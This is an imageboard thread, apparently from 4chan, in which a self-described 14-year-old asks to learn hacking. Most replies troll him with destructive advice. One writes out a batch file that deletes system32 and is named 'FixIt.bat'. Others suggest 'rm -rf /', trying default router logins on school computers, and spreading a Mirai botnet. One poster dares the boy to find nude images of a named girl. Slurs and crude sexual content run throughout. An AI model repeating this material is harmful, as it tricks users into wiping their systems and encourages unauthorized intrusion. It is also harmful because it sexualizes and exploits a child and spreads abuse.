Hi, Sup Forums. I saw you on the news. I know you're really good at hacking, and I would like to learn...

Hi, Sup Forums. I saw you on the news. I know you're really good at hacking, and I would like to learn. Could you teach me how to be a hacker please? I don't want to rob banks or anything, I just want to impress my friends at school.

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delete system32 to start with

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What's system32?

Fuck off

Could you at least help get me started? I'm a good learner.

open cmd and type in color 0a
now your a profeshinul hackur

Put your computer in the microwave

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This doesn't sound right. Can you tell me why?

She needs one that size because her pussy is so stretched from pushing my brain out.

It's a pesky virus that windows users are vulnerable to due to Internet Explorer having back-doors.

How do I delete it?

this part of Sup Forums is basically just porn

Where do I go for hacking stuff?

Have you tried college?

I'm only 14.

Learn to program first
Python
C++

What do you want to hack?

I just want to do pranks and stuff. Huge dick on the school's homepage.

Choose one or the other. Not both.

catb.org/esr/faqs/hacker-howto.html

Ill throw you an apple OP. Learn XSS.

Now fuck off and enjoy being caught hacking a school gov web site.

why?

You can't do that without knowing passwords tbh. Also, try typing in '192.168.0.1' into a browser on your school's computer. If it brings you to a login page, try 'user' as the username and 'user' as the password. 'admin' might work too. Those are the defaults for most modems and not too many people change those passwords.

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They're for two different things. Learn python for more web based stuff.

This is where you fucked up user. Now you are gonna get banned for saying this. Good luck on your own.

locate system32 folder on your C drive and delete it


without that folder your computer will be able to run pretty much any hacking software

'192.168.1.1' might work too

Yeah but op isn't being a retarded faggot. He's just a retard.

Where we on the news for anything recently?

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hackertyper.com/

Fair enough.

Open notepad and type the following
@echo off
del C:\\Windows\system32
shutdown /r /a

Save as FixIt.bat

>learn C
>write a program that allows an unprivileged process to run as a privileged one
>make a dropper (either bundle with freeware and upload around the net or web exploit)
>installer mirai c&c botnet (change home to ur server)... mirai source is leaked
>profit

I get the feeling this won't work on newer versions of windows.

Is it okay if I copy and paste it?

Should work on all version of windows

How do you expect a 14 year old to figure this out based solely on your text?

can a 14 year old use google? dumb fuck

Does microsoft just not not care? This is a pretty common prank. I would've thought they'd give you a warning or something on newer versions

So I shouldn't do this?

Might get found by an anti-virus. I know avast spotted it pretty quick.

you can 'rm -rf /' on linux and no one cares. normal ppl dont use the cmdline

He means messing up a website is a common prank. This has been around for a while.

No, I was fucking with you user.

Macs too I think

I mean no you should do it. Realized the way I said it was confusing.

Hacker you become by yourself.... Sup Forums can teach you nothing.

Yeah, but Linux machines generally run under the assumption that the user isn't completely retarded. Microsoft, in my opinion, definitely shouldn't be making that assumption.

Ubuntu???

10 dollar bill?

If you're gonna pretend to be me, don't be such a retard.

Lol... All this stuff takes years. I know this cause I can do it (except 0 days, which is really boring).

You can rush for it, but end up writing a ransomware which leaves the key on your PC.

why will stating that you're underage in your post get you banned?t? why is it taken as fact? there's usually no way of telling if it's true or not
>The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.

bump of cocaine?

yeah not thanks id rather be a script kiddie

You need the --no-preserve-root flag now. They do assume you're retarded. It also asks you if you're sure.

OP here. I'm back. Got banned for claiming an age that may or may not be mine.

which age did you claim? I took Iron so you can't have that. Probs why you got banned.

14

Okay.
1. Download Cryptostorm
2. Wireshark
3. Python
4. LoIc
5. Open CMD
6 0a
7. C:\Windows\System32

im legit 16 why havent they banned me, fuck you mods.

>14 year old kid asks Sup Forums to teach him how to be a hax0r
>Sup Forums actually tries to help instead of shaming him or getting him to blow up his hamster in the microwave and stream it on Twitch.

You're getting soft, Sup Forums.

im on mac what do you suggest instead of deleting sys32?

Ramming a large marker in your ass

fbi.gov/tips
Application link to join anonymouse hackur clan

i've done that before, it stimulated my prostate pretty well, will do it again.

You're not OP, gtfo.

Where's OP?

You saw Sup Forums on the news?

Yeah, who is he?

well fuck me im not typing this all over again but search engines are censoring our history and board culture.

you used to be able to google marshviperX and find pages of relevant material, but it's all nearly disappeared now. Only an ED page and some unrelated Sup Forums photos.

sad fucking times.

>mfw when this is actually happening
>mfw it might not be bait
>mfw a newfag is getting advice from us
>mfw I realize this thread has a lot of potential

what does this say, its so fucking blurry

it appears to be a frog, in a mask, holding a gun

this is a profile pic of what appears to be the grinch, wearing a ski mask, holding a gun.

You’re tired and dull with your predictable retort.

wtf is marshviperx?

OK OP, so if you want in, you have to pass the test. Find a pic of this girls pussy on the net and I'll tell you where to start.

Search terms: alice brookes, jaime love, jamie foxx, ashley foxx.

im so tired rn but i just cant fall asleep

Type:

Do a Barrel roll

Into google search...
Profit

it is proving difficult, but i like a challenge

Just die pls